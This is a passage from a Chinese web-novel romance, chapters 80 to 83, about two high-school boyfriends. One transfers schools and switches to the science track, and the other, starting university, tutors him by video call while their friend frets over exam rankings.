江淮靠在楚明的肩头,轻阖眼:“今天赵逵逵他们聊到学校和班主任。” “聊到什么?”楚明揽住他肩头。轻声问。 “一点评价,”江淮说:“我不否认,这里的很多人很多事我都不喜欢,也不想回顾,即使我在这里遇到了你。” 楚明眼睫颤了一下。 他脑子里晃过很多画面,一些被淡忘的一些还新鲜的,他不得不承认,很多本该是幸福的瞬间,却总是被一些无端的人无端的事打搅——这种环境,总让人觉得窒息。 江淮蹭了下他的脖颈,想到采访时楚明的话,他轻声问:“你呢?怎么想?” “我也是,”楚明几乎不假思索:“如果可以,我想带着你一起,离开这个地方。” 江淮挑了下眉:“是吗?” “是,”楚明坚定地点头。 “好,”江淮笑了笑:“我知道了。” 午后太阳烈,坐太久头皮都能煎鸡蛋了。 快速回到教室江淮想往旁边给楚明让座,但楚明很轻地揽了下他的手臂,下巴点了下自己的座位:“你坐里面。” “嗯?”江淮看着他。 楚明笑笑没解释:“我晚点跟大马猴说。” 江淮怔愣了一瞬,他莫名感觉这个场景有点熟悉,长腿跨进去坐到座位,他偏头去看楚明,楚明斜斜倚靠在桌沿,眉眼间染着笑:“什么感觉?” 边角的位置,几近相同的教室布局,他靠在椅背,两面夹墙一面围桌,唯一的缝隙被楚明填满,江淮轻挑眉:“所以——” “是,”楚明像是知道他要说什么,点了下头:“我很感谢,你这束光。”—— 作者有话说:修改并添加了一些内容,这个作者昨天被肾上腺素接管脑子不太好使,还挺见谅[化了]《 》 80-90 第81章 第 81 章 “转理科,去三中。”…… (80章内容有改, 可以去看看) 江淮单手拿着手机,偏头靠在楚明后背,笑着在滑看新收到的百来张照片。 【梅子蛋糕】帅哥, 全部的照片我都发你了, 哪怕只出现了你男朋友影子的照片(影子也非常帅气),我也发给你了。 【梅子蛋糕】你们一定要幸福啊〔星星眼〕〔星星眼〕 江淮笑了声,给她回了个三百的红包。 【狗】谢谢。 【梅子蛋糕】!!谢谢谢谢谢谢,你们一定会恩爱一辈子的。 江淮听腻了, 转而去翻看那些图片, 翻着翻着他很轻地拧了下眉。 原来楚明给他端水果坚果的时候,他们两人之间的距离这么近……从梅子蛋糕拍的照片来看,跟他在向楚明索吻没有半毛钱的区别。 江淮:“……”难怪那女生会坚信不疑甚至追着祝福到底。 照片再往后滑, 走之前他特意避开人往楚明无名指上亲的那一下,也被梅子蛋糕抓拍到了。 “我操,”他难以置信地挑了下眉。 “怎么?”楚明偏过头, 用手肘带了他一下。 “没, ”江淮啧了一声:“以后还是得收敛点。” 楚明:“……”没头没尾的一句话他实在分析不出什么,“什么意思?” 江淮先是抬头看了眼路况,确保前方不会突然窜出条狗来, 才把那张像借位接吻的照片支到他面前, 说:“懂没?” 楚明挑了下眉:“……懂了。” “当屏保了, ”江淮收回手, 觉得这张不管是调色还是构图都还不错, 保存后便开始调整。 楚明:“……”收敛在哪儿? 江淮三下五除二换好屏保,想再欣赏几张照片就见顶栏跳进一则消息通知,他轻顿,点进去划到接听。 “诶?”吴珊那头像见鬼了, 声音透出讶然:“是你吗江淮?” “是我。”江淮说。 “稀奇啊,这个月我还是头一回才打出去你就接听了,”吴珊啧啧两声:“你真的是江淮吗?” 江淮:“……” 楚明在前面笑了声:“是他,阿姨。” “小楚也在啊,”吴珊这才把心放到肚子里:“那我放心了。”说着她终于开始聊到正题:“中午你发的消息我看到了,你是认真的吗?” “是,”江淮点头:“可行吗?” “可以是可以,但教务处的人给我的程序里有一项,”吴珊应该是在看文件,偶尔能听到纸张翻阅的哗哗声:“得参加入学测试,而且有分数要求,按照今年高考的标准,至少得过一本线,527。” “什么时候考?”江淮问。 “开学前一周多,”吴珊声音沉了些:“算起来还有不到两个月时间,你确定吗?” “确定。”江淮说。 “好,”吴珊应了声:“那就这么决定,需要我给你单独找点家教老师来家里补课吗?” 江淮笑着敲了下手机屏幕:“不用,我有。” 等电话挂断,楚明才轻声问:“你要考什么?” “转理科,”江淮顺手把手机揣进他裤兜里,抱住他的腰说:“去三中。” 楚明很轻地歪了下头:“什么时候决定的?” “很早之前想过,但确认是在昨天,听到你高考成绩的瞬间。”江淮说。 楚明轻顿:“行。也就是说最近要准备一次理科考试,对吗?” “嗯,”江淮轻合眼:“我试过,只按理科一本线的话,不算太难,但要往更高走,可能需要时间。” “我知道,”楚明轻挑眉:“我会尽力。”他早前辅导秦苗他们时,也包括理三科,加之他从没放弃过理科学习,总体来讲经验算得上充足。 江淮笑笑:“我也有分寸。”- 志愿填报系统开放,楚明填报完便将这些事情一并搁置。 “还要继续学吗?”大马猴忐忑地问:“你就差录取通知书到手了啊,不过也行,当作榜样留在班上也能激起同学们的学习热情。” 没费口舌全凭大马猴的自我攻略,楚明还是以学生身份到班,除去没有作业,其余基本和普通同学没差。 江淮把才做好的一套理综试卷放到楚明桌面,趴在桌面有些困倦:“我睡会儿。” “嗯,”楚明抽出红笔开始批改,余光注意到江淮手臂收紧,他把多余搭在椅靠的外套披到他肩上,小声交代一句:“二十分钟后我叫你。” “好。”江淮的声音闷闷地传出。 二十分钟后他又坐起来继续学,好像每天都是一个模式轮到底。 按常理来讲文理转换不是件轻松的事,而江淮能给到保证,绝大程度是因为他主科成绩比较稳定,这段时间只需要不分课程地主攻副科便好。 将近一个月的时间他做完了两三套试卷集,更别提形形色色的资料书,总体做下来有种命都没了一半的畅快感。 七月底补课结束,八月初江淮连生日都是吃了个蛋糕潦草放过,考前那天更是癫狂。 【阿越】不就是来三中考个试,哥们你至于这么拼吗? 【阿越】搞得像为我你要刷遍天下所有题,你确定你男朋友不会吃醋? 【狗】滚远点。 【狗】谁他妈稀罕你。 【阿越】啧啧啧,我不开玩笑了,说真的,距你考试没几天了,你有把握吗? 【狗】有,至少保证不抢你吊车尾的地位。 【阿越】…… 【阿越】我已经很久没考倒一了好不好!反倒是你,江哥,我们班倒二跟倒三分都有二十多,你别一战战不过我! 江淮挑眉,把手机扔到桌面,往后伸了个懒腰,不知道什么时候楚明站到他身后,反正此时此刻自然而然地托了下他后脑勺:“嗯?” 楚明捏了捏他脖颈两侧:“今天都不休息?” “能休息吗?”江淮用下巴点了点亮着的聊天记录:“我要是连他都考不过,直接跳了算了。” 楚明笑了笑:“不至于,我相信你。”说着他把新整理好的试卷放到他手里:“我研究了近五年的入学测试,总感觉出题组没换过,试着弄了套模拟的,你试试?” “牛逼,”江淮仰着头去亲了下他嘴唇:“我这就做。” 楚明笑着把草稿纸和笔递给他- 八月十多号天气依旧燥热难耐,没到六点天光便亮得刺眼。 江淮起来时身边已经没人了,意识没清醒但身体本能已经一个鲤鱼打挺挺起来,他还没出声喊楚明门便被推开,颠七倒八的视野里楚明倚着墙壁:“你昨天说想起来再看一遍错题,最多三分钟,你得来吃早饭。” 在啊……江淮迷糊地躺回去,眼睛都不想睁:“我有说过吗?” “嗯,”楚明说着已经单膝跪到床边,拿过遥控器把空调关了,拉开绵软的空调被去拽他的手:“你以前不是不赖床吗?” “我昨天两点睡的,”江淮音质沙哑,应该是没睡舒坦和空调吹太久的缘故。他蹭了下楚明的手臂:“早知道不刷那套题了。” “别瞎扯,”楚明伸手去勾他的腰,稍一用力直接将他打横抱起:“昨天的试卷你做得确实不怎么样,所以才半夜爬起来刷题,是吗?” 他晚上睡得沉,没太关注到江淮的动向,至于晚上江淮有哪些小动作,向来得靠猜。 被戳中,江淮:“……” “你还会紧张呢?”楚明把他半推半抱到洗漱台,接了一捧水便直接甩他脸上,见他清醒才说:“还有一分钟,洗漱完来吃早饭。” 江淮眨眼,擦掉脸上的水珠,扭头楚明已经退了出去,他快速洗漱收拾好,走出去时餐桌上躺了两碗热粥,以及一个本子两张A4纸。 “这是什么?”江淮坐过去。 “你最讨厌的佛脚,”楚明说:“抱抱吧,争取拉严越一二十名。” “啧,”江淮笑了起来,拿过纸张看了两眼,上面全是楚明的字迹,他轻挑眉:“你什么时候写的?” “你做模拟卷的时候,”楚明敲了下他的碗,示意他先吃着:“不然我干看你做看两小时吗?” 江淮笑着看向上面的内容,是一些零碎的知识点,前面是按照试卷题号来分列的,先标明题目类型,如有需要会在旁边列出知识点和注意,开始几题还好,到一些他明显卡壳的地方,楚明便会不经意地落下一句:题干条件不拆吗?蠢货。 江淮:“……”现在记忆犹新了。 早饭吃完楚明送他到三中考场,鉴于高三群体特殊性,入学考试在一天内集中考完,晚六点多的时候便已经告结。 江淮出了考场便直奔大门而来,视线只随意一扫,便捕捉到站在树荫下的楚明,他走过去把人抱住。 “感觉怎样?”楚明抱回去,轻声问。 “你押题挺准啊,”江淮笑着,嗓音里都透着股轻松:“我感觉真能超严越十多名。” 正对答案对得头晕眼花忽然喷嚏当空降临的严越:“……”哪个崽子想我呢! 三中出成绩效率更是其他学校所抵达不了的高度,江淮楚明随意找了家饭馆吃饭,还没落筷吴珊便发来了消息。 【珊姐】中了,儿! “这么快?”江淮把手机转向楚明:“我以为至少得明早。” 楚明笑笑,“恭喜。” 三中高三补课时间开始得早,又是标准寄宿制,江淮收拾行李时,楚明也在收拾——他录取通知书上到校时间基本与补课时间重合。 “明天先送完你我再去学校,”江淮收拾完,坐在床头柜上,“过来我抱一下。” 楚明放下叠到一半的衣服,过去抱住了他:“是有什么要说的吗?” “废话,”江淮抱紧他,以一种要把楚明揉碎在自己身体里的力道,他埋在楚明的颈窝里,声音很沉:“我舍不得。” 楚明阖眼:“我也是。”上个月房租到期,他索性没再续费,这些天和江淮朝夕相处,太多习惯成自然,习惯身侧有人习惯耳边有声,习惯空气里有江淮的气息,习惯视野里有江淮的身影。 但好像很快,这些习惯都会被打破。 “很快我就去找你,”江淮嘴唇在他耳后皮肤啄吻着:“等我。” “嗯,”楚明点头,忽然笑了笑:“记得回我消息接我电话,这个要求是不是很难?” 江淮轻顿:“保证一个不落。” “是吗?”楚明笑着挠了挠他的腰:“你发个誓我听听。” “那总不能再当几年的狗吧?”江淮说着便要抬手,但被楚明压了下来,他轻顿:“嗯?” “你现在脑子是浑的吗?”楚明往前进了一步,搂住他脖子微微俯身从嘴角吻到舌尖,呼吸转重时他贴在江淮耳边:“手机不离身,你考屁的大学。” 江淮:“……” 他下巴抵在楚明肩窝,笑得肩头轻抖—— 作者有话说:预计月底就完结了呢,宝贝们有特别想看的番外吗[可怜] 第82章 第 82 章 “挺爽的。” 早七点的车次, 最后一个拥抱之后,江淮注视着熟悉的身影融进人流,再然后便毫无踪迹。 良久耳畔各种播报流过, 他试图再寻一次时手心轻震, 江淮垂眼点开消息。 【Cming】到了给你发消息,现在回去上课。 【Cming】十秒了,还不回我? 江淮挑了下眉。 【狗】好。 【狗】你就那么确定我看到消息了? 【Cming】嗯,我没走远, 看得到你。 江淮抬眼, 就见前方柱子后走出来一个身影,楚明白t黑裤地站着,拎着个白色行李箱, 视线相撞那刻,他笑着晃了晃手机。 指尖被震到,江淮迟缓两秒才垂眼。 【Cming】这回真得走了。 【Cming】你转身, 往回走, 现在。 【狗】好。 江淮把手机戳回裤兜,朝他挥了挥手,不太舍得地做了个飞吻, 才往后退出一步。 楚明始终面带笑意, 往下扫了眼他的脚, 撂起眼皮用口型说道:“走快点。” “啧, ”江淮连着退出两步, 见楚明也转身往里走,他下意识往前追出一步,而楚明在同一时刻回头,抬手很郑重地挥了一次。 好吧, 再磨叽楚明就得去追车了。 江淮点头应下,快步走了出去,生怕自己再往回他步频极快,风一般地到外面后他摸出手机拨了个电话。 楚明的声音很快便传了进来:“干嘛?” “想你,”江淮拎走暂放外面的行李箱,随手招了辆出租车报好地名,他看着窗玻璃,很轻地说:“差点没忍住,想直接跟着你上车。” “你没票啊,”楚明笑着说:“傻子。” “不管,”江淮往后仰去:“我现在还想让这个司机去追你的高铁。” 楚明:“……” 前排司机突然竖起耳朵:? “你幼不幼稚,”楚明已经放好行李,坐下时小声地说:“好好回学校认真上课,我周末检查你学习情况。” “啧。”江淮笑了笑:“能回来查吗?” “车费你出吗?”楚明挑了下眉。 “出,”江淮坐直,眼底盛满日头漫天的金光,他说:“那你回来吗?” “可以,”楚明似乎是顿了一下:“但你要是没有进步或者反倒退步呢?” “随便处置,反正绝不可能。”江淮声音低了些:“怎么办?我现在就很想见到你。” “别黏,”楚明笑着:“情绪会传染。” 楚明笑声很轻,从手机里传出来时像羽毛刮蹭到耳尖,痒痒的,江淮挑了下眉:“说出来,我要听。” “我现在也很想见你,男朋友。”楚明敲了下手机屏幕,“听到了吗?” “听到了。”江淮勾唇:“周末我要见到你。” “好。”尽管知道对面看不见,楚明还是点了下头,余光注意到什么,他小声地说:“晚上聊,我旁边有人。” “嗯。”江淮恋恋不舍地放下手机,望着不断倒退的风景,他沉沉地叹出一口气- 三中说是老校,其实就是破破烂烂懒得修缮。 江淮推着行李箱面色沉冷地进校、转手续、进寝室收拾东西,收拾完班主任已经站在宿舍楼门口等他。 “你就是江淮同学吧,”覃雁手里拿着份名单,眯起眼睛把他打量了一番。 头发稍微有些长,碎发被风扬起时露出额头,整张脸确实是没什么可以挑剔的。身量体形也不错,这么看来获奖内容里那些奖项应该没有注水。穿搭比较简单,普通的白t黑裤,左肩还挎了个松散的黑色背包。 “是,”江淮表情很淡地扫过她,“直接到班还是?” “暂时没什么需要你办的,”覃雁小幅度地抬了下小拇指,像是已经感受到这位新同学的个性,她停顿一秒:“直接跟我进班吧。” “嗯。”江淮跟上她。 “我看你的过往经历,总体来说是个很优秀的孩子,不管是学习还是体育,”覃雁说:“但欠课太久,我并不是要质疑你的学习能力,只是从文科突然转到理科,还是在比较特殊的阶段,你是有什么非这样不可的理由吗?” “之前不是我选的,”江淮淡声说。 “好,我懂了,想读理科但家长帮你填的文科是吧?”覃雁笑了笑:“不过我更多见到的是填理科的家长,你这种情况倒是少见。” “嗯。”江淮随意应了声,没什么聊天的欲望,心底的不快连带着他去看学校建筑风格都有一种厌弃感。 到班后江淮果断拒绝介绍环节,恰好此时正在上课,他站后门往教室里扫了两眼。 “你个子高,就坐后排吧,”覃雁交代说:“恰好有张空桌,你要是坐不习惯,等下周我们再说换座位的事。” “谢谢。”江淮轻声。 “那现在就进去吧。”覃雁声音放得很低。 江淮把虚掩着的门推开一点儿,目不斜视地走到旁边的空位,书包放椅子上时把正打瞌睡的前桌吓得一蹦,座椅撞桌沿“嘭”地一声! 江淮:“……” “罗义你给我站起来听课!”覃雁声音瞬间扩大百倍,震耳欲聋威从中来:“才第二节课你就打瞌睡!昨晚偷牛去了!” 吼完覃雁便往前巡逻,在语文老师习以为常的注视下又逮起来两个呼呼大睡的。 把课桌往后挪了两公分,江淮面色平静地坐下,余光瞥见他同桌不疾不徐地捏着笔在写写画画,姿势有模有样,微皱的眉头和时不时张合的嘴唇,像极了那类正在思考难题的学霸。 傻逼严越。 “呵,”江淮笑了声:“语文课你绞什么脑汁?” “……”严越停顿半秒瞬间破功,他先是锁定老师还在前排,才慢悠悠地往江淮的位置挪了些:“啊,江哥。” 江淮只轻点头,便没再理他。 好在这节课没两分钟就下课,严越不至于憋话憋死自己,他长气一呼畅快起来:“不是说中午才来?” 江淮看向他:“谁跟你说?” “算了,小道消息不靠谱。”严越笑了笑:“你知不知道你来的时候,给我吓一大跳,幸好我心理素质强,连忙抓笔开始伪装,不然我就跟他一样得罚站一天了。” 罗义大概听到自己的事迹,回头哭诉:“来新人了啊?我就说我潜意识里感觉有人在我后面,我以为是谁要来揪我衣领子,给我吓一跳!” 江淮:“……” “他叫江淮,我好哥们。”严越笑着介绍:“是不是帅炸了?” 罗义警惕地斟酌了一下用词:“帅帅帅,颜值没得说,和越哥……不相上下?” 严越:“……”这个时候就不用带上他了。 “这位,”罗义看看江淮又看看严越,眼睛微妙地眯起来。 “他名草有主了。”严越掐断他的打量:“别乱提,异地恋的小可怜经不起刺激,小心等会给你暴揍一顿,他武力值max!” 罗义:嘶! 江淮:“……” 三中的排课比起八中要自由得多,一上午接触下来,师生也不算离谱。 鉴于有严越这个熟人,没过多久全班乃至全年级都听说高三1班来了个武力值max的大帅哥,课间后门前门连窗户都扒着有人看,偶尔江淮抬个头,顶层走廊里还有偷偷摸摸的手机镜头对向他。 江淮:“……” “没办法,这就是口碑。”严越笑得打滚:“我的眼光没得说。” 课间江淮领完配套书籍,又被迫跟覃雁聊了聊,大致知道课程进度和要求后,他才和严越去食堂品鉴。 本来以为菜品得试个几天,但严越招呼的人多,几乎是每个菜都有一小份“样品”进到江淮的空碗里。 “这就是属于我江哥的排面,”严越说:“来,都叫哥。” “江哥!!”十几只汤碗冒着热气支到了桌子中央。 江淮:“……” 他端起汤碗碰了碰空气,喝的时候白了严越一眼。 之后面对兄弟们对江淮的好奇,严越有分寸得多,该说的随便说,不该说的只字不提。 江淮便没再管他,垂眼看着手机屏幕。 【Cming】到寝室了,在收拾东西。 【狗】累吗? 【Cming】不累,你适应得怎么样? 【狗】还行吧,就是耳边总是吵得慌,除此之外没什么槽点。 【Cming】严越吗? 【狗】嗯。 【Cming】那应该还好,他挺有分寸的。 【Cming】给我一份你的课表。 【狗】? 【Cming】挑时间跟你视个频。 【狗】好。 “啧,又腻歪呢,”严越把新拿来的饭后水果推到他面前:“江哥,你来三中不会就是因为三中查手机不严,谈恋爱来的吧?” 江淮:“……” 他把屏幕摁灭,抬眼见其他人已经走了,便大大方方地承认:“是啊。” 严越啧啧两声:“你也不怕成绩因此一落千丈到时候考不上A大。话说你入学考试班级多少名来着?我跟你讲我这次可是进步之星!” “二十一二来着。”江淮说。 严越:“!!” 他噌地站起来:“我靠?!怎么会!我可是努力学习了一整个暑假的男人!” “你知道你很吵吗?”江淮往后仰了些。 “哪吵了?你不能因为楚明说话温柔就把我们的正常音量当作吵,”严越坐直:“而且,这是中气十足的表现!” “滚蛋,”江淮随便拿了个苹果,端着餐盘便往收残区走:“我都怀疑你他妈找的对象都是听障。” 严越:“……”污蔑,纯粹是污蔑! 饭后消食,严越带他简单了解过学校结构布局,便直接回了寝室。 三中宿舍楼多,校园面积比起一般学校要大得多,所以基本以四人间为主,二人间为辅。 “你东西收拾得这么快?”严越推门而入时,挑了下眉:“我还说给你当苦力找你要点辛苦费呢。” “没什么重要的,”江淮带上门。 “是挺精简的,”严越扫了两眼他的床,见他坐在书桌前把手机打开又在聊天,他啧啧两声:“江哥,你得赔偿我点东西。” “什么?”江淮给他的注意力不多,随口应付道。 “原本新学期申请住校、要跟我住的是个今年高二的小帅哥,”严越挑了下眉:“但你突然插进来,我几经抉择艰难地选择了你,你知道你现在这种谈恋爱的行为,对我来说就是挑衅!” 江淮:“……” 他撂下手机,无奈地看了他一眼:“我在跟楚明打赌,下周周考超你多少名。” 严越登时跳起来:“我操!” “这才叫挑衅,”江淮淡淡地收回视线:“傻逼。” 严越:“……” 午睡时间从十二点五十持续到下午两点,醒来时从天灵盖到脚趾都是昏沉的,严越从上床爬下来后就再也动弹不得,成“大”字乱七八糟地躺在地上。 江淮差点一脚踩到他的脑袋:“……” 他没忍住:“你有毛病?” 严越躺着,“困困困困困啊……” “……”江淮绕开他的爪子进了厕所,简单洗漱完毕他站在书桌前,打开手机看了眼消息。 【Cming】给你找了两套题。 【Cming】你什么时候能做完? 江淮轻顿,把两份文件下载后简单打量两遍,回:今晚。 【Cming】好,晚上我检查。 “啧,”江淮把手机静音后扔回兜里,扭头再看在地上四仰八叉睡得像死猪的严越都觉得顺眼得多,心情不错,他给了他一脚:“给你一分钟,走还是不走?” 严越含泪爬起来:“操啊……” 到教室之后班级笼罩在困意之下,放眼望去只要有生气的人都困得变身树懒,连说话的嗡嗡声都没有。 江淮把才打印好的试卷摊在桌面,飞快过掉前面几道基础题,做到第八题时他轻顿。 “8.如图……(这题不许错,你才错过没多久)” 他很轻地笑了声,把括号里另添的字眼看了两三遍,连转笔都转得轻快了许多。 “江哥你怎么这么有精力?”严越灌完一大杯冷水后终于清醒了一半,往旁边看去,到班时还一字未动、现在试卷都已经翻面了,他惊讶地说道:“这么猛?” “嗯,”稍难些的题楚明都留有半句或者几句话,江淮挑了下眉:“挺爽的。” 严越:“……” 进入复习阶段之后课堂才是真正的“以学生为主体”,自由学习占比高过老师带领,更多时候时学生做题老师坐讲台,有问题自己上去找老师。 更别提之后晚自习,部分时候还是由自愿的学生家长来守。 晚十点半,下自习,才出教学楼,往寝室走的时候江淮便拨了个视频通话。 楚明接得很快,两秒没到屏幕里便跳出一张脸,他在操场,照明灯已经关了,只有手机屏幕散出的光映亮他的脸,画质被夜色吞得挺多,但那张脸依旧惊艳。 江淮呼吸微滞:“晚上好。” “晚好,”楚明偏了下头去塞耳机,期间画面有些晃,最后定格在他脖颈和小半张侧脸:“我看路。” “嗯,”江淮喉间轻滚:“现在在干嘛?” “逛逛学校,”楚明走着,声音偶尔会被风声吹散:“它比我想象中要大。” “好玩吗?”江淮看着屏幕,都没注意到身边严越啧了一声。 “还行,新鲜感还在吧。”楚明说:“我明天有场数学测试,晚点要不要一起做题?” “要。”江淮笑了笑:“你什么时候回宿舍?” “在走了。”楚明说。 楚明离手机挺近的,江淮又戴着耳机,能清晰地感受到他的呼吸和声音撞在耳膜,痒痒的,还有点麻,他忽地开口:“你能不能多说点话?” “嗯?”楚明不理解但执行:“那我梳理梳理你今天做的那套题。” “好。”江淮就盯着他的脖颈看,说话时楚明喉结轻滚,颈间线条也漂亮得过分。 “这套题应该不算太难,所以我把其中几道按梯度换成你的错题了,发现没有?”楚明说着:“前面的题应该不用说,看一眼可以出答案,从第八题开始我有批注……” 一直等回到寝室,通话才被挂断。 “我操,恋爱还得看你们谈啊,”严越笑着撞了下他肩膀:“刚刚你们视频通话,距离近得那叫一个暧昧!看得我一直笑。” 江淮瞥他一眼:“你在啊。” 严越:“……” 他笑容收起来,摆出一副绝情相,哪知才转身就“嘭”地撞到门,他痛得快速捂鼻:“我操!” 江淮:“……傻逼。” 快速洗漱完,江淮坐在书桌前,翻出一套试卷便拨通视频。 默契的,两人都没有说话,手机摆好后便垂眼认真地做题。 台灯光线偏亮,手机镜头只捕捉到下半张脸,江淮偶尔抬头看着他不断更新的做题进度,挑了下眉,也跟着加快速度,斗志昂扬地往后做。 躺在床上搓完两局游戏,挺起来找厕所的严越:“……” 他咬牙切齿地关掉手机,摸出试卷也坐到书桌旁,开始学习! 半分钟后,严越突然凑到镜头里:“楚哥,给我讲道题呗?” 楚明抬眼:“什么题?” 见状,严越把试卷摊开,把那道死咬不动的题支到镜头前:“这道,难死我了。” 江淮哼出一声:“这题?你没上过课吗?” 严越:“……” 楚明笑笑:“其实这题还挺有难度的,讲之前你去翻翻反函数的定义。” “好嘞!”严越瞪了江淮一眼。 江淮:“……” 半小时后严越发了条朋友圈。 阿越:专属学习牌严父慈父,你值得拥有! 江淮给他评论了一条:傻逼—— 作者有话说:不知道说什么系列[抱抱][抱抱] 第83章 第 83 章 “我看看你腰。”…… 江淮起床洗漱时听了几则听力材料, 清醒后他坐到书桌前,拿着昨天的做题重做时,负责“喊起床”的音乐才慢慢响起。 于是下一秒就听“嘭”地一声, 严越从爬梯乱七八糟地滚到地上, 大字躺开继续睡。 江淮:“……” 难怪这间宿舍有单独铺设地毯。 “早餐啊,”严越打着哈欠说:“我带你去吃面包吧,我还挺喜欢食堂的现做面包,比较软。” “嗯, ”江淮单肩挎着包:“下次月考什么时候?” “早呢, ”严越刷卡,拿了一份面包一盒牛奶,便把卡给他:“至少得九月底, 好像是什么金太阳联考,不用急,可以慢慢备考。” “这么久?”江淮随意点了份面包牛奶, 往外走:“那还是保守了。” 严越啃了口面包:“什么保守了?” “我才赌超你10名, ”江淮挑了下眉:“隔这么久应该至少还能翻一倍。” 严越差点被一口面包噎死:“……” 他摇了摇头,不死心地问:“你男朋友呢,赌多少?” “他?”江淮勾唇, 骄傲地说:“二十多。” 严越:“……” 他困都不困了, 沿途一直:“呵呵, 呵呵, 呵呵呵呵……” 到教室严越忽地正经起来, 他唰唰写下几个大字,把纸张拍到江淮桌面:“告诉你和你男朋友。” “嗯?”江淮挑了下眉。 “我严越,今年期末至少班排前二十!”严越抬了抬下巴。 江淮笑笑:“拭目以待。” 周末楚明本来说回来一次,但由于军训展开, 和穿插其中的计算机考试,他抽不开身。 “挺帅的,这身。”江淮挑了下眉:“手机往下一点。” 楚明看着他:“嗯?” “我看看你腰。”江淮直白地说。 楚明轻顿,小声地说:“等我回宿舍。” 当初填报志愿时他提过宿舍要求,于是学校给到他一定的自由选择权,长远考虑后他要了一间双人寝,并在一定的“权利”范围内,拒绝了第一年的同住。 他想把位置留给江淮——他也相信江淮会很给力。 江淮看着屏幕,楚明在跑,画面晃得要死,有些混乱的呼吸声和微弱的喘息顺着耳机线爬到耳蜗,激起细密的酥麻和爽感,他挑了下眉:“楚明。” “嗯?”楚明朝手机看了一眼。 江淮小声说:“你性感得要命。” 楚明轻顿,他推开寝室门把灯拍亮,笑了声:“你干嘛?” “话由心生,”江淮转了圈笔,做题的心思都没了,他细细地看着楚明的嘴唇:“我这周本来办了离校,但你不回来严越也回家,我就干脆留在寝室了。” “听着挺可怜?”楚明笑着拉开座椅坐好。 “嗯,”江淮往前凑近,声音低沉:“不打算哄我吗?” “怎么哄?”楚明垂眼把军训服的腰带解了,又快速把外套脱了,一身清爽地去拆袋子:“我今天忙死了。” 江淮拧了下眉:“嗯?做了什么?” “上午教官拉我出去做示范。”楚明把袋子里的果切取出来:“下午练完匕首操去做反恐演练,好在明天汇演就彻底结束了。” “啧,”江淮笑着:“上次不是还只做反恐演练?” “有同学不舒服,我去替他练会儿,”楚明无奈地说:“谁知道恰好是选拔,阴差阳错地让我去当领操,逃不掉了。” 江淮笑了起来:“你学东西越来越快了。” “也不算,天天看着,算熏陶吧,”楚明说:“再者有口令也比较好跟。后来那位同学临时被排到扇子舞,兴高采烈地跑回来跟我说那才是他的究极领域。” 江淮笑容始终没淡过,他懒懒地靠着椅背,声音放松,瞥了眼他还没得及动的水果,轻声提醒:“别放着不吃,晚上没吃饭吗?” “没,”楚明咬了颗小番茄:“才军训完食堂味道不好闻,要不是今晚还有晚训,我想立刻冲个澡。” 江淮挑了下眉:“衣服脱了。” “嗯?”楚明以为自己听岔了:“你说什么?” 江淮毫不害臊地重复一遍:“我想看你腰。” “好啊,”楚明说着指尖便捻住衣摆,凑近手机轻声说:“那你今晚准备做几套题?” “两套,够吗?”江淮说。 楚明想了想:“可以,但题我来挑。” 江淮啧了一声:“不要竞赛题,行吗?”最近楚明对数竞比较感兴趣,遇到有意思的题就甩进聊天框,他每次点开都看得头疼。 “行,”楚明笑着,手指勾着军训穿短袖便往上撩起,手臂相错便利落地脱下。 楚明的身形线条一直很耐看,确实能看得出最近军训强度很大,腰腹一带肌肉轮廓要比之间鲜明得多,薄皮之下甚至隐约能看清呼吸起伏。 “操,”江淮挑了下眉:“我怎么感觉你练了呢?” “有吗?”寝室空调温度开得低,楚明去抓空调遥控器时,腰侧因为动作而收束紧,江淮看着他的鲨鱼肌,不自觉地嘴唇勾起:“你什么时候回来?” “国庆,”楚明把空调调低后坐了回来,“前几天票就买好了,放心。” 江淮笑着搓了个响指:“信息发我,我去接你。” “不用,”楚明说:“我去接你放学。”- 按常理讲月底考完试,成绩那应该是收假才该关心讨论的事,但无奈于三中老师神一般的阅卷速度,在同学们走出教室的前一秒,成绩单骤然降临。 “服了,”严越看着传下来的成绩单,飞快丢到旁边,心已经烂成浆糊了:“江哥你先看!” “看完了,”江淮淡淡地把成绩单扔回他桌面,语气没什么波澜:“我赌对了。” 严越:!!! “我操,别搞,”严越顿时慌了:“兄弟别搞,拉我十多名那我不是又回归倒数了吗?!” 他再顾不得一开始发的连成绩单标题都不看的誓言,抓过成绩单就开始疯狂寻找,两秒极速斟酌完他选择倒着看,蒙着上半张纸他敏感地一个名字一个名字地往上挪。 江淮双手抱胸,笑着去欣赏他的查成绩动作,鼓励道:“大胆点啊。” “你闭嘴,我操,”严越自认这段时间的学习不算刻苦但也算认真,他心惊胆战地把倒五看过,像是心头吊着的石头终于落地,他很轻地挑了下眉:“等等,我好像已经满足了。” 江淮:“……” “倒六也不是不行,”严越心态极好地释放出倒六的名字,发现是仨字,眉毛跳了段街舞,继续:“我操,不会冲到倒八了吧?” 江淮:“……” 他没眼看,快速收拾好书包,趁着覃雁在一众乌泱声里强调国庆注意事项,他在桌肚里解锁手机,第一眼看到的就是楚明的消息。 【Cming】猜我在哪? 【狗】校门口? 【Cming】还要更近点。 江淮摁灭屏幕,正要向后门投去一瞥,身边的座椅连桌子差点被掀翻,严越跟变异了似的突然变成直立生物,一句“我操”唤醒全班才被成绩浇灭的灵魂。 江淮:“……” 全班同学:“……” “严越你要干嘛?”覃雁也被吓得一激灵,弯腰捡起被惊飞的戒尺,严肃地说:“现在还没下课。” “老师我进步了!”严越晃了晃手里的成绩单,眼睛亮着:“倒数前十都没有我!我操!” 教室里爆发出一阵杀猪般的笑声,震耳欲聋。 “你……”覃雁无奈地笑笑:“我知道你进步了,但也不能这么激动,坐下,坐下,先坐下。” “好的老师。”严越爽快地坐下,在江淮看傻逼一样的表情下,他这才把成绩单完全释放出来,“我操,倒十五!” “……”江淮听得想笑,“你他妈能正着看吗?” 严越挑了下眉:“你不懂,降低预期,严式学渣安慰圣道。” 江淮:“……” 他实在是有些无奈,身边坐个傻逼总是有出人意料的笑料,笑完他才把手机继续点开。 【狗】多近? 【Cming】听到倒数前十没有严越那么近。 江淮挑了下眉,转头便看向后门,果不其然,被夕阳照出的人影便安安静静地落在过道,隐约间他似乎还能看到楚明被风吹皱的碎发。 【狗】我现在出来。 【Cming】别! 【Cming】安心听,时间挺充裕的。 见他同桌时不时会往后门看一眼,严越小幅度地凑过来:“让我猜猜,外面有谁。” 江淮唇角勾着笑,歪了下头:“猜。” “不是我说,哥们,这比一加一等于二还好猜,”严越看他一眼:“笑得太灿烂了,跟朵花似的。” 江淮挑了下眉:“是吗?” 